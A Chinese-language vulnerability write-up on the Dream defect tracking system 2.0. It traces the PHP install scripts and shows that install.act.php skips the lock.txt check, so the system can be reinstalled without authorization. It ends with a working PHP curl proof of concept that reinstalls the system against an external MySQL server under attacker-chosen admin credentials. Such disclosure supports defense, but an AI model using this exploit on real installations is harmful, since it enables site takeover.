在./install/install.php中
if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}
通过检测lock.txt文件是否存在来判断系统是否已经安装了,
但是看到代码的最后,发现是这个样子的
<div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />
点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义
function onNext(){
window.location = "check.php";
}
直接导向至check.php文件了,来看看这个文件是怎么写的
<?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ require_once (dirname(__FILE__) . "/inc/config.inc.php");
$gd = gd_info();
$curl = function_exists('curl_init');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
...
并没有判断入口是否合法,所以可以直接在浏览器中访问之
然后"下一步"又是个onNext()函数来处理的,继续看
function onNext(){
var data = document.getElementsByName("data");
var num = 0;
for(i=0;i<data.length;i++){
if(data[i].value==1){
num += Number(data[i].value);
}
}
if(num==data.length){
window.location = "mysql.php";
}
num = 0;
}
最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码
<?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}
require_once (dirname(__FILE__) . "/inc/config.inc.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
<script language="javascript">
<!--
function onLast(){
history.back();
} function onClick(){
h = list.host.value;
n = list.name.value;
u = list.user.value;
wn = list.webname.value;
hn = list.hostname.value;
e = list.mail.value;
au = list.adminuser.value;
ap = list.adminpwd.value;
ap2 = list.adminpwd2.value;
if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){
alert("选项不能为空");
return false;
}else{
if(ap!=ap2){
alert("两次输入的密码不相同");
return false;
}
if(!e.match(/@/)){
alert("邮箱格式不正确");
return false;
} return true;
}
}
-->
</script>
<link href="img/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<form action="inc/install.act.php" method="post" name="list">
<div align="center">
<div class="main">
<div class="top">
<img src="img/logo_about.png" height="45" />
<span>Dream缺陷跟踪系统</span></div> <div class="content">
<table width="100%" border="0" cellspacing="0"> <tr>
<td height="26" colspan="3" class="top_txt">数据库信息</td>
</tr>
<tr>
<td width="21%" height="22">数据库服务器:</td>
<td width="34%"> <input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td>
<td width="45%"> 数据库服务器地址, 一般为 localhost</td>
</tr>
<tr>
<td width="21%" height="22">数据库名:</td>
<td width="34%"> <input name="name" type="text" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">数据库用户名:</td>
<td width="34%"> <input name="user" type="text" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">数据库密码:</td>
<td width="34%"> <input name="pwd" type="password" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">数据表前缀:</td>
<td width="34%"> <input name="prefix" type="text" class="txt_wd" value="dwin_" /></td>
<td> 同一数据库运行多个系统时,请注意修改前缀</td>
</tr>
<tr>
<td height="26" colspan="3" class="top_txt">程序及用户信息</td>
</tr>
<tr>
<td width="21%" height="22">项目名称:</td>
<td> <input name="webname" type="text" class="txt_wd" value="我的项目" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">项目域名:</td>
<td> <input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">管理员邮箱:</td>
<td> <input name="mail" type="text" class="txt_wd" value="" /></td>
<td> 请务必填写正确</td>
</tr>
<tr>
<td width="21%" height="22">管理员账号:</td>
<td> <input name="adminuser" type="text" class="txt_wd" value="admin" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">管理员密码:</td>
<td> <input name="adminpwd" type="password" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">再输入一次密码:</td>
<td> <input name="adminpwd2" type="password" class="txt_wd" value="" /></td>
<td> 请牢记您的账号与密码</td>
</tr> </table>
</div>
<div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" /> <div><img src="img/step3.png" width="700" height="10" /></div>
</div>
<div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc. All Rights Reserved</div>
</div>
</div></form>
</body>
</html>
判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:
<?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ session_start();
require_once (dirname(__FILE__) . "/config.inc.php");
include(PJINC.'/core/filesys.lib.php'); $nf_d = new filesys;
if(isset($_POST['put'])){
if($_POST['put']!=''){
$show = '';
$host = trim($_POST['host']);
$name = trim($_POST['name']);
$user = trim($_POST['user']);
$pwd = trim($_POST['pwd']);
$prefix = trim($_POST['prefix']);
$data = array();
$data['webname'] = trim($_POST['webname']);
$data['hostname'] = trim($_POST['hostname']);
$data['mail'] = trim($_POST['mail']);
$data['adminuser'] = trim($_POST['adminuser']);
$data['adminpwd'] = trim($_POST['adminpwd']);
$conn = mysql_connect($host,$user,$pwd);
...
没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。
POC:
<?php
$url="http://127.0.0.1/dream/install/inc/install.act.php";
$data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec($ch);
curl_close($ch);
print_r($result);
?>
可以看到新的数据库hackedream已经成功建立鸟~~~